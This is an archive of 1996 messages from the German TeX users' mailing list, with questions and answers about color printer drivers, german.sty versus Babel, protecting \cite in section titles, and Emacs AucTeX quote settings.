----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From owner-tex-d-l@VM.GMD.DE Tue Apr 23 19:44:15 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Dieter Mossbrucker <101605.3712@COMPUSERVE.COM> Date: Tue, 23 Apr 1996 19:24:28 -0700 Subject: HP560C-Treiber Hallo, in der TeXnischen Komoedie 4/93 schrieb F. Hrebabetzky: > ... > da habe ich nun einen HP DeskJet 550C, kann aber mit > LaTeX nichts Buntes drucken, ... > ... Leider gab's nie eine Antwort. Und nun habe ich auch einen HP DeskJet 560C und wuerde damit gerne farbig drucken; z.B. bestimmte Textteile oder Farbgraphiken. Hier also meine Frage: Gibt's einen Treiber fuer diesen Drucker, der Farbdrucke (z.B. mit \special-Befehlen) unterstuetzt (unter emTeX/TeXShell/DOS)? Fuer evtl. Antworten oder Hinweise besten Dank. Dieter Mossbrucker ======================================================= Dieter Mossbrucker Friedrich-Woehler-Gymnasium D - 78224 Singen am Htwl. Tel.: 07531-62146 E-mail: 101605.3712@compuserve.com From owner-tex-d-l@VM.GMD.DE Thu Apr 25 12:36:24 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Kohm Date: Wed, 24 Apr 1996 06:26:00 GMT Subject: Booklets mit dvidvi >Wenn mein Drucker doppelseitig (auch im Landsacpe-Modus >korrekt "gewendet") drucken kann, dann mache ich das WIE mit dvidvi (da >half mir die man page naemlich nicht...) Das geht mit dem normalen DVIDVI nicht. In der Maus @ KA (0721/358887) im Gruppenprogrammteil TeX gibt es aber eine leicht erweiterte Version (Source + Atari-Binary), die auch das kann. Gruss Markus From owner-tex-d-l@VM.GMD.DE Thu Apr 25 12:36:32 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Kohm Date: Wed, 24 Apr 1996 06:31:00 GMT Subject: Booklets mit dvidvi >4785 Aug 20 1994 dvidvi.patch Patch von Markus Kohm Eigentlich sollte ich jetzt boese sein, weil ich im Orgininalarchiv aus damals gutem Grund die Verbereitung ausserhalb der Maus mehr oder weniger untersagt hatte. Da sch da aber tatsaechlich jemand die Muehe gemacht hat, diff drueber laufen zu lassen, soll es mir egal sein. Ist dann aber wenigstens auch die erweiterte Anleitung (incl. Beispiel) verfuegbar? Gruss Markus From owner-tex-d-l@VM.GMD.DE Wed Apr 24 11:03:22 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Ernst Molitor Date: Wed, 24 Apr 1996 07:09:37 GMT Subject: Re: HP560C-Treiber Hallo, > >in der TeXnischen Komoedie 4/93 schrieb F. Hrebabetzky: > >> ... >> da habe ich nun einen HP DeskJet 550C, kann aber mit >> LaTeX nichts Buntes drucken, ... >> ... > >Leider gab's nie eine Antwort. Und nun habe ich auch >einen HP DeskJet 560C und wuerde damit gerne farbig >drucken; z.B. bestimmte Textteile oder Farbgraphiken. >Hier also meine Frage: Gibt's einen Treiber fuer diesen >Drucker, der Farbdrucke (z.B. mit \special-Befehlen) >unterstuetzt (unter emTeX/TeXShell/DOS)? > [...] Leider habe ich keinen Farbdrucker, so dass ich nicht aus erster Hand berichten kann, aber "eigentlich" :-) sollte der Weg LaTeX -> DVI-File -> dvips -> GhostScript -> Drucker auch fuer diesen Drucker gangbar sein. GhostScript 3.53 listet u.a. folgende Drucker: cdeskjet, cdjcolor, cdj550; ich wuerde vermuten, dass cdj550 den Color DeskJet 550 meint. Viele Gruesse, Ernst --- ernst.molitor@uni-bonn.de From owner-tex-d-l@VM.GMD.DE Wed Apr 24 08:32:40 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: tex@SIRENE.RZ.UNI-DUESSELDORF.DE Date: Wed, 24 Apr 1996 07:57:21 -0400 Subject: Re: HP560C-Treiber > > da habe ich nun einen HP DeskJet 550C, kann aber mit > > LaTeX nichts Buntes drucken, ... > > ... > > Leider gab's nie eine Antwort. Und nun habe ich auch > einen HP DeskJet 560C und wuerde damit gerne farbig > drucken; z.B. bestimmte Textteile oder Farbgraphiken. > Hier also meine Frage: Gibt's einen Treiber fuer diesen > Drucker, der Farbdrucke (z.B. mit \special-Befehlen) > unterstuetzt (unter emTeX/TeXShell/DOS)? > > Fuer evtl. Antworten oder Hinweise besten Dank. Hmmm, sollte sich mittlerweile rumgesprochen haben: Auf ftp.dante.de in /pub/tex/dviware/dvidjc liegt die notwendige Software. Allerdings haben wir den 560C mit 600x300 bei der Entwicklung mangels Verf"ugbarkeit nicht ber"ucksichtigt. Es ist aber damit zu rechnen, da"s im Laufe dieses Jahres an einer neuen Version gearbeitet wird. Gru"s Friedhelm Sowa From owner-tex-d-l@VM.GMD.DE Sun Apr 28 22:39:11 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 28 Apr 1996 21:46:33 +0200 Subject: Re: Resume: Bilder immer aussen In <199604191340.PAA10468@isle.informatik.uni-stuttgart.de> Bernd Raichle writes: >Andreas Tille schrieb: >[...] >: Ich denke, da"s die Erweiterung um besagte "immer au"sen"-Option >: sehr sinnvoll ist. Allerdings beruht "picinpau.sty" auf einem sehr >: alten picinpar. Es gab bereits erhebliche Unterschiede zu meiner >: picinpar.sty Version (1.2a july 13, 1993), von der ich denke, da"s es >: die neuste ist (und die unter LaTeX2e l"auft. >Tja, ich hoffe, jetzt koennen ein paar Personen meine etwas heftige >Reaktion darauf verstehen, dass man geaenderte Dinge ohne >Kenntlichmachung einer Aenderung veroeffentlicht. Dem kann ich nur beipflichten. Nachdem ich mir die "Anderungen angesehen habe, halte ich das bisherige Vorgehen sowieso f"ur gelinde gesagt BESCHEUERT. Statt die Originaldatei zu "andern, sollte man ein Paket schreiben, da"s das Original l"adt und dann mittels \renewcommand die zu "andernden Befehle redefiniert. Das ist sauber und einfacher. Und man k"onnte das dann Vererbung nennen... :-) Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE - If I start up a C shell and put it up to my ear, what will I hear? - You'd hear the sound of the C, of course, as it repeatedly crashes on the silicon beach. (The Usenet Oracle, Jan 1993) From owner-tex-d-l@VM.GMD.DE Mon Apr 29 14:34:29 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Wojczynski Date: Mon, 29 Apr 1996 14:34:25 +0100 Subject: Gesucht: Erfahrung mit Einfuehrungskurs in LaTeX2e Liebe Leserinnenund Leser, ich habe die Freude und die Pflicht, einen LaTeX2e-Kurs zu konzipieren und zu halten. Da ich so etwas das 1. Mal versuche, waere ich fuer Ideen und Anregungen dankbar. Insbesondere eine Themenliste und Uebungsbeispiele eines gelaufenen LaTeX2e-Kurses interessierten mich. Eigentlich wollte ich ja einige Leute danach in Augsburg fragen, aber es hat sich irgendwie nicht ergeben. Vielen Dank im voraus Andreas -- #===========================================================================# # Andreas Wojczynski / Gruppe Anwendungen tel +49/531/391-5540 # # Rechenzentrum der TU Braunschweig fax +49/531/391-5549 # # Deutschland / Germany email a.wojczynski@tu-bs.de # #===========================================================================# From owner-tex-d-l@VM.GMD.DE Mon Apr 29 14:59:49 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Mon, 29 Apr 1996 14:59:41 METDST Subject: Re: Gesucht: Erfahrung mit Einfuehrungskurs in LaTeX2e > ich habe die Freude und die Pflicht, einen LaTeX2e-Kurs zu > konzipieren und zu halten. Da ich so etwas das 1. Mal versuche, > waere ich fuer Ideen und Anregungen dankbar. > Insbesondere eine Themenliste und Uebungsbeispiele eines > gelaufenen LaTeX2e-Kurses interessierten mich. Ich habe von 1987 bis 1990 an der TU Wien eine LaTeX-Kurs gehalten, bei dem ich mich an der "LaTeX-Kurzbeschreibung" von Partl, Hyna und Schlegl angehalten habe und ausserdem die Leute einen zwei Seiten langen Text zur Uebung habe schreiben lassen - zunaechst nur einfache Absaetze, dann (nach dem Besprechen der entsprechenden Artikel) zusaetzlich mit Ueberschriften, Fussnoten, Aufzaehlungen, mathematischen Formeln usw. und mit verschiedenen Optionen (10pt, 12pt, ...). > Eigentlich wollte ich ja einige Leute danach in Augsburg > fragen, aber es hat sich irgendwie nicht ergeben. Das macht nichts, Augsburger und Wiener und Braunschweiger sind ja alle Wurst (Wurstsorten, oder wienerisch wurst=egal). -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ COMPVTOR ERGO SVM :-) From owner-tex-d-l@VM.GMD.DE Fri May 3 09:19:10 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 3 May 1996 09:18:56 +0200 Subject: Announcement: german.sty v2.5c vom 1. Mai 1996 Mit einiger Verspaetung (ca. ein Jahr) ist auf ftp.dante.de (in den naechsten Tagen dann auch auf den anderen ftp-Servern des CTAN und deren Mirror-ftp-Server) die neue Version der Style-Option/des Paketes "german" verfuegbar. german.sty v2.5c besteht aus den Dateien: 5403 Apr 30 08:58 tex-archive/languages/german/00readme.german 3046 Apr 30 08:58 tex-archive/languages/german/german.ins 80929 May 3 08:54 tex-archive/languages/german/german.dtx 56187 Apr 30 08:58 tex-archive/languages/german/germdoc.tex (Darauf achten, dass alle Dateien die Versionsnummer 2.5c vom 1. Mai 1996 haben!) Wer die "neue" Version der deutschen Trennmuster noch nicht hat, benoetigt ausserdem: 48658 Mar 11 1994 tex-archive/languages/hyphenation/ghyph31.tex Die neue german.sty-Version ersetzt die alte Version german.sty 2.5a/b (und natuerlich auch die noch aeltere Version 2.4a und die nicht "gepflegte" Testversion german3.sty). german.sty kann, wie bisher auch, mit LaTeX2e, LaTeX 2.09 und plain-TeX verwendet werden. Die volle Funktionalitaet, d.h. in diesem Falle die Verwendung von Fonts mit unterschiedlicher Kodierung, erhaelt man nur mit LaTeX2e. Fuer plain-TeX und LaTeX2.09 erhaelt man "nur" die Funktionalitaet des alten german.sty v2.4a. === Neues? === Gegenueber den Versionen 2.5a/b vom Januar 1995 sind nur kleinere Aenderungen gemacht worden. Die neue Version 2.5c ist hauptsaechlich als Bugfix-Version gedacht, daher sind nur wenige, direkt sichtbare Neuerungen enthalten: * Die schliessenden Anfuehrungszeichen wurden mit den DC-Fonts Version 1.2 zu nah an das Wort gerueckt. Dies wurde behoben. * Mit "ff erhaelt man nun eine ff-Ligatur. Hinweis: Die letzten beiden Punkte koennen zu einer Aenderung des Umbruchs fuehren, da sich die Breiten der Konstruktionen im Vergleich zu den aus Version 2.5b geringfuegig aendern. * Das Paket `bibgerm' funktioniert nun auch wieder mit german.sty 2.5c. (Durch einen Patch in german.sty 2.5c, der in spaeteren Versionen wieder entfernt wird! Im Grunde muesste man `bibgerm' aendern und nicht german.sty, dies wird wohl auch noch gemacht.) * Im docstrip-Archiv `german.dtx' ist mit der Datei `hyphxmpl.cfg' auch noch ein direkt verwendbares Beispiel fuer die LaTeX- Konfigurationsdatei `hyphen.cfg' enthalten. Naeheres hierzu findet man in `germdoc.tex'. * Die Dokumentation `germdoc.tex' wurde korrigiert und enthaelt weitere Hinweise auf bekannte Fehler. === Installation + Dokumentation === Die Datei `00readme.german' enthaelt weitere Hinweise zur Installation. In der auf ca. 20 Seiten angewachsenen Anleitung `germdoc.tex', die man mit LaTeX2e oder LaTeX 2.09 und einer, auch etwas aelteren german.sty-Version uebersetzen kann, findet man die Benutzer- und Installationsdokumentation. === Hinweise === !! Achtung -- Trennung und Trennmuster !! german.sty v2.5c verwendet, wie schon v2.5a/b, fuer die einer Sprache zugeordneten \language-Werte nicht mehr die bis Version 2.4a verwendeten Defaultwerte 0-5 bzw. 0-2! BEVOR MAN `german.sty' VERWENDET, muessen deshalb die Trennmuster korrekt eingebunden werde, da man sonst _KEINE_ TRENNUNGEN ERHAELT!! Eine genaue Beschreibung, wie diese eingebunden werden muessen, ist in der Anleitung `germdoc.tex' enthalten. !! Achtung -- Fehler beim ersten Durchlauf !! Sind von einem frueheren Formatierlauf mit einer aelteren german.sty-Version noch Hilfsdateien vorhanden (bei LaTeX z.B. aux-/toc-/lof-/lot-Files), so erhaelt man bei den ersten Durchlaeufen evtl. Fehler, wenn diese Dateien gelesen werden. Diese Fehler kann man ignorieren; sie sollten nach 1-2 Durchlaeufen nicht mehr auftreten. Um diese "Fehler" ganz zu vermeiden, ist es am einfachsten, wenn man die Hilfsdateien vor dem ersten Durchlauf einfach loescht. === Fehler === ...da nichts fehlerfrei sein kann. Bitte Meldungen von Fehlern in `german.sty' an mich erst _nachdem_ man `germdoc.tex' durchgelesen hat. In dieser Anleitung steht neben den bekannten Fehlern und Beschraenkungen auch, wie und was man mitschicken sollte (z.B. die Protokolldatei *.log und nicht _nur_ die Bildschirmausgabe). ...positive Meldungen erfreuen Menschen. Neben den gefundenen Fehlern erfreue ich mich auch, wenn auch positive Dinge ueber `german.sty' gemeldet werden. Dazu zaehlen neben Danksagungen, Geld- und Sachspenden (leider wurde dieser Hinweis bisher immer uebersehen :-() auch Verbesserungsvorschlaege, Korrekturen und fertig ueberarbeitete Versionen... ;-) Viel Spass beim (La)TeXen, Bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Sun May 5 02:08:31 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann Date: Sat, 4 May 1996 12:05:29 +0100 Subject: cite in section? Hallo \LaTeX'niker, ich habe folgendes Problem: Ich soll Literaturhinweise innerhalb von \section-"Uberschriften generieren. Das soll dann etwa so aussehen: 1.1 Dieser Titel tr"agt einen Literaturhinweis [Seite 12, 1a] Ich habe ersteinmal versucht: \section {Dieser Titel tr"agt einen Literaturhinweis\cite [Seite% 12]{erster:titel}} Das f"uhrt aber leider zu folgendem Fehler: ! Argument of \@sect has an extra }. \par l.63 ...von Thiometallatanionen\cite{mullerang81}} Und dazu noch zu diversen Fehlern im Inhaltsverszeichnis. Ich habe schon im Bernhardiner nachgeschlagen, da steht aber auch nichts drin (oder ich hab's nicht gefunden :). Ich hoffe, es gibt eine L"osung f"ur diese Problem (au"ser der trivialen, die [xx] selbst einzutragen.) Tsch"u"s und happy TeX'ing Nils -- Nils Bokermann Johanneswerkstr. 90 Phone: +49 521 891279 33613 Bielefeld FAX: +49 521 550116 Germany Warum werden die Gr"unen mit Schnittlauch nilsb@reality.owl.de verglichen? Naja, au"sen Gr"un, innen Hohl und treten immer Geb"undelt auf! _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Sat May 4 22:21:27 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sat, 4 May 1996 22:03:49 +0200 Subject: TeX-Stammtisch in Bremen im Mai 1996 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 7. Mai 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/628813 CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE TeXse [...chs...] die; -, -n (ugs. abwertend f"ur: TeX-Schreiberin) (Eberhard Mattes) From owner-tex-d-l@VM.GMD.DE Sun May 5 13:15:03 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sun, 5 May 1996 13:02:37 +0200 Subject: Re: cite in section? In <199605041105.MAA02037@reality.owl.de> Nils Bokermann writes: >Hallo \LaTeX'niker, >ich habe folgendes Problem: >Ich soll Literaturhinweise innerhalb von \section-"Uberschriften >generieren. Das soll dann etwa so aussehen: >1.1 Dieser Titel tr"agt einen Literaturhinweis [Seite 12, 1a] >Ich habe ersteinmal versucht: >\section {Dieser Titel tr"agt einen Literaturhinweis\cite [Seite% > 12]{erster:titel}} >Das f"uhrt aber leider zu folgendem Fehler: >! Argument of \@sect has an extra }. > > \par >l.63 ...von Thiometallatanionen\cite{mullerang81}} >Und dazu noch zu diversen Fehlern im Inhaltsverszeichnis. Ich habe >schon im Bernhardiner nachgeschlagen, da steht aber auch nichts drin >(oder ich hab's nicht gefunden :). Ich hoffe, es gibt eine L"osung >f"ur diese Problem (au"ser der trivialen, die [xx] selbst >einzutragen.) [Bernd, Du solltest den FAQ-Pointer auch nach TeX-D-L posten...] Nils, RTFM und RTFFAQ. :-) --->> \cite ist _ZERBRECHLICH_ !! Also entweder \section {Dieser Titel tr"agt einen Literaturhinweis% \protect\cite [Seite 12]{erster:titel}} oder noch besser \section [Dieser Titel steht im Inhaltsverzeichnis ohne Literaturhinweis]% {Dieser Titel tr"agt einen Literaturhinweis% \cite [Seite 12]{erster:titel}} Aus der FAQ: ------------------- schnippschnapp ------------------- 5.2) Zerbrechliche Anweisungen in `moving arguments' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 5.2.1) Was sind `fragile commands'/zerbrechliche Anweisungen, was sind `moving arguments'? Der Text, den ein Autor im Argument von Anweisungen wie \caption, \section, etc. angibt, kann an mehreren Stellen in einem Dokument gesetzt werden. Zum einen wird der Argumenttext als Bildunterschrift bzw. als Kapitel"uberschrift gesetzt, zum anderen taucht er ebenso im Inhalts-, Tabellen-, einem der anderen Verzeichnisse oder im Seitenkopf/-fu"s auf. Diese Argumente nennt man daher `moving arguments'. Die korrekte Ausf"uhrung von `zerbrechlichen Anweisungen' h"angt intern von Zuweisungen ab. Diese Zuweisungen werden innerhalb eines `moving arguments' nicht ausgewertet, soda"s diese Anweisungen in diesen F"allen `zerbrechen'. Zu den zerbrechlichen Anweisungen z"ahlen unter anderem \cite, \ref, \pageref f"ur Literatur- und Querverweise, \footnote, die Anweisungen \small, \large, etc. zur Wahl der Schriftgr"o"se, mathematische Formelzeichen wie \sqrt, \notin, \overbrace und viele mehr (siehe auch Anmerkung am Ende von Abschnitt 5.2.2). 5.2.2) Wie kann ich innerhalb des Arguments von \caption, \section, etc. Anweisungen wie \cite, \ref und \pageref verwenden, ohne Fehler wie `! Argument of \@sect has an extra }.' zu erhalten? Zerbrechliche Befehle wie \cite m"ussen im `moving argument' der Anweisung \caption mit \protect gesch"utzt werden, d.h. statt \caption{Bildunterschrift~\cite{PartlKnappen95}} ist ein \protect direkt und ohne(!) geschweifte Klammern vor die zu sch"utzende Anweisung zu setzen: \caption{Bildunterschrift~\protect\cite{PartlKnappen95}} Anweisungen wie \caption, \section, etc. haben au"serdem noch die M"oglichkeit, in einem optionalen Argument den zu `verschiebenden Argumenttext' anzugeben. Das hei"st, obiges k"onnte auch in \caption[Bildunterschrift]% {Bildunterschrift~\cite{PartlKnappen95}} umformuliert werden. Jetzt ist das optionale Argument in []-Klammern das `moving argument', in dem Sie zerbrechliche Anweisungen mit \protect sch"utzen m"ussen! Beginnend mit der LaTeX2e-Verteilung vom Dezember 1995 sind Anweisungen wie \cite und Anweisungen mit optionalem Argument, wie \sqrt, nicht mehr zerbrechlich. Sie m"ussen daher nicht mehr, wie zuvor beschrieben, mit \protect gesch"utzt werden. Dennoch empfiehlt es sich, weiterhin ein \protect vor diesen ehemals zerbrechlichen Anweisungen einzuf"ugen, wenn Sie Ihre Texte anderen zukommen lassen wollen. ------------------- schnappschnipp ------------------- Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE TeXse [...chs...] die; -, -n (ugs. abwertend f"ur: TeX-Schreiberin) (Eberhard Mattes) From owner-tex-d-l@VM.GMD.DE Mon May 6 08:55:43 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Mon, 6 May 1996 08:51:45 +0200 Subject: German.sty <-> Babel Hallo deutsche LaTeXer, da der neue german.sty nun auch mit den DC1.2 Fonts klarkommt (Anf"uhrungszeichen - ich hab's zwar noch nicht getestet, denke aber, da"s man Bernd Raichle blind Vertrauen kann, wenn er das schreibt), stellt sich mir nun mal wieder die Frage: german.sty oder das Babel-Paket. Ist es einfach eine Frage der pers"onlichen Neigung oder gibt es wirklich wesentliche Kriterien bei der Auswahl. Ich w"urde zu german.sty tendieren, weil es eben nur ein File ist. Wozu brauche ich da ein so gro"ses Paket, von dem ich auch nur den Teil nutze, der im german.sty steckt? Allerdings haben sich bei uns die meisten auf Babel eingestellt, damit die DC1.2 Fonts funktionieren. Wie sieht es eigentlich mit den DC1.3 Fonts aus. K"onnte es da die n"achsten Probleme geben? Kann mal jemand ganz kurz die Vorteile, die ich von den DC1.3 Fonts haben k"onnte nennen. Besten Dank Andreas. From owner-tex-d-l@VM.GMD.DE Mon May 6 09:33:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 6 May 1996 09:20:56 +0200 Subject: Re: German.sty <-> Babel : Hallo deutsche LaTeXer, ...und plain-TeXer, da man german.sty wie Babel auch mit plain-TeX verwenden kann! : da der neue german.sty nun auch mit den DC1.2 Fonts klarkommt : (Anf"uhrungszeichen - ich hab's zwar noch nicht getestet, denke aber, : da"s man Bernd Raichle blind Vertrauen kann, wenn er das schreibt), : stellt sich mir nun mal wieder die Frage: german.sty oder das Babel-Paket. Die Frage stellt sich fuer mich im Moment nicht: Ich benutze german.sty -- aber das duerfte wohl keinen wundern, oder? :-) : Ist es einfach eine Frage der pers"onlichen Neigung oder gibt es wirklich : wesentliche Kriterien bei der Auswahl. Ich w"urde zu german.sty : tendieren, weil es eben nur ein File ist. Wozu brauche ich da ein so gro"ses : Paket, von dem ich auch nur den Teil nutze, der im german.sty steckt? Ok, ich versuche mal Babel 3.5 mit german.sty 2.5c zu vergleichen: - Babel erlaubt -- grundsaetzlich mal -- die Verwendung von mehreren Sprachen in einem Dokument (die Schnittstelle, also die Makros, und die Unterstuetzung sind aber noch in Entwicklung); mit german.sty sollte man mit \selectlanguage einmalig die Sprache zu Beginn festlegen, hat dann bei nicht-deutschen Dokus zusaetzlich die "-Notation, etc. (man kann mit \selectlanguage auch in einem Dokument umschalten, das Ergebnis ist aber nicht exakt definiert) - Babel ist immer noch eine Testversion (im Code stecken noch zuviele Fehler -- die ich endlich mal an Johannes Braams melden sollte, grmbl!), waehrend german.sty immer sehr stabile Versionen sind, deren Verhalten moeglichst lange unveraendert und kompatibel zum Vorgaenger sein sollte - die german(b)-Option in Babel 3.5 hat momentan noch den kleinen Fehler, dass bei OT1-kodierten Schriften (also dem Default, die CM-Schriften) nach Umlauten nicht getrennt wird - german.sty enthaelt mit `germdoc.tex' eine deutsche Doku -- wobei man den Teil mit der "-Notation aber auch fuer Babel heranziehen kann - Fehler in Babel kann man an die offizielle LaTeX-Bug-Mailadresse melden, alte Fehler in der Bug-Datenbank ueber WWW nachschlagen; Fehler in german.sty kann man an `german@dante.de' melden, alte Fehler kann man nirgends nachschlagen -- beiden Paketen ist aber gemein, dass die Autoren nur alle $x$ Monate ($x = a + \varepsilon$, wobei $a$ den angekuendigten Zeitpunkt einer neuen Version und $\varepsilon$ die Abweichung davon angibt :-) dazukommen, die Bugs zu beseitigen :-( : Allerdings haben sich bei uns die meisten auf Babel eingestellt, damit : die DC1.2 Fonts funktionieren. Wie sieht es eigentlich mit den DC1.3 Fonts : aus. K"onnte es da die n"achsten Probleme geben? Kann mal jemand ganz : kurz die Vorteile, die ich von den DC1.3 Fonts haben k"onnte nennen. Nein, keine Probleme -- zumindest keine bekannten. Ich habe eine Vorabtestversion der DC-Fonts 1.3, damit sollte es nach ersten Tests ebenso wenig oder ebenso viele Probleme geben wie mit den DC-Fonts 1.2. Die Version 1.3 hat gegenueber der Version 1.2 den grossen Vorteil, dass sich jetzt die Informationen in den tfm-Dateien nicht mehr mit der Aufloesung des Ausgabegeraets/Druckers veraendern -- ein klarer Fehler in der Version 1.2, der diese IMO unbrauchbar macht, da dadurch der Absatz- und Seitenumbruch eines Dokuments vom Ausgabegeraet, fuer den die Fonts erzeugt werden, abhaengt! Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon May 6 17:27:36 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Mon, 6 May 1996 17:20:38 +0100 Subject: Re: German.sty <-> Babel Kurz: Die dc-Fonts 1.3 werden einen Schritt in Richtung Stabilit"at und endg"ultiger Fixierung darstellen. german.sty 2.5c wird auch mit dc-fonts 1.3 funktionieren. Wesentliche neue Eigenschaften werden nicht in dc-Fonts 1.3 drin sein, allerdings werden diverse bisher fehlende Schnitte (fette Kapit"alchen, fette SliTeX-Fonts) erg"anzt werden. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Tue May 7 12:07:32 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Palme Date: Tue, 7 May 1996 12:07:43 +0200 Subject: Re: Emacs und AucTeX: Gaensefuesschen wie? Leo Broska: > > Hallo TeXnikerInnen! > > Eine Frage an Leute die TeX-Texte mit AucTeX unter Emacs schreiben: > > Wie kann ich das fuer deutsche Texte bloede double-quoting auf der > Gaensefuesschen-Taste abschalten. Die Taste " erzeugt naemlich ``. > > Ohne AucTeX funktioniert das einfach mit > (local-set-key "\"" 'self-insert-command) > im .emacs-File. Mit AucTeX geht das nicht mehr. Auch Versuche mit > latex.el und german.el schlugen bei mir fehl! > > Wer weiss dazu mehr??? Ich habe in meiner .emacs-Datei das folgende: (add-hook 'TeX-mode-hook (function (lambda () (setq TeX-open-quote "\"`" TeX-close-quote "\"'")))) Beim ersten " erhalte ich "`. Wiederhole ich das direkt, dann wird ` wieder geloescht ("" erzeugt also "). Tippe ich zuerst etwas anderes, so erzeugt das zweite " ein "' (Ich hoffe, ich habe mich jetzt klar ausgedrueckt :-) Das Ganze ist also intelligent gemacht. Gruss, ====================================================================== Hubert Palme Bergische Universitaet-Gesamthochschule Wuppertal Computing Center D-42097 Wuppertal Email: palme@uni-wuppertal.de (Germany) http://www.uni-wuppertal.de/hrz/daten/adressen/h.palme.html From owner-tex-d-l@VM.GMD.DE Tue May 7 12:10:34 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 7 May 1996 12:09:23 +0200 Subject: Re: Emacs und AucTeX: Gaensefuesschen wie? Holger Grothe schrieb auf Leo Broskas Frage: : > Eine Frage an Leute die TeX-Texte mit AucTeX unter Emacs schreiben: : > : > Wie kann ich das fuer deutsche Texte bloede double-quoting auf der : > Gaensefuesschen-Taste abschalten. Die Taste " erzeugt naemlich ``. : > : > Ohne AucTeX funktioniert das einfach mit : > (local-set-key "\"" 'self-insert-command) : > im .emacs-File. Mit AucTeX geht das nicht mehr. Auch Versuche mit : > latex.el und german.el schlugen bei mir fehl! : > : > Wer weiss dazu mehr??? : > : (setq TeX-open-quote "\"") : (setq TeX-close-quote "\"") : : im .emacs-File. Da bei mir die automatische `german'-Sucherei von AucTeX auch nicht immer geklappt hat (und ich es so oder so gewohnt bin, korrekt ``...'' bzw. "`..."' zu verwenden), habe ich seit langem folgende Zeilen in .emacs (fuer Emacs 19.x, die alte 18.*-Version kennt noch kein add-hook): ;; ;; Doublequote im TeX-mode immer als "..." ;; (add-hook 'TeX-mode-hook (function (lambda () (local-set-key "\"" 'self-insert-command)))) -bernd From owner-tex-d-l@VM.GMD.DE Tue May 7 11:53:59 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Holger Grothe Date: Tue, 7 May 1996 11:52:39 MESZ Subject: Re: Emacs und AucTeX: Gaensefuesschen wie? > > Eine Frage an Leute die TeX-Texte mit AucTeX unter Emacs schreiben: > > Wie kann ich das fuer deutsche Texte bloede double-quoting auf der > Gaensefuesschen-Taste abschalten. Die Taste " erzeugt naemlich ``. > > Ohne AucTeX funktioniert das einfach mit > (local-set-key "\"" 'self-insert-command) > im .emacs-File. Mit AucTeX geht das nicht mehr. Auch Versuche mit > latex.el und german.el schlugen bei mir fehl! > > Wer weiss dazu mehr??? > (setq TeX-open-quote "\"") (setq TeX-close-quote "\"") im .emacs-File. Holger -- Holger Grothe (Email: grothe@mathematik.th-darmstadt.de) Fachbereich Mathematik, TH Darmstadt From owner-tex-d-l@VM.GMD.DE Thu May 9 05:12:42 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Tue, 7 May 1996 20:34:00 +0200 Subject: German.sty <-> Babel Kommentar zu A59513@H in der Gruppe TeX-D-L *Hallo Andreas!* ATE>Ich w"urde zu german.sty tendieren, weil es eben nur ein File ist. Ich denke, Du hast Deine Frage damit selbst beantwortet. Ich sehe das genauso! ATE>Allerdings haben sich bei uns die meisten auf Babel eingestellt, 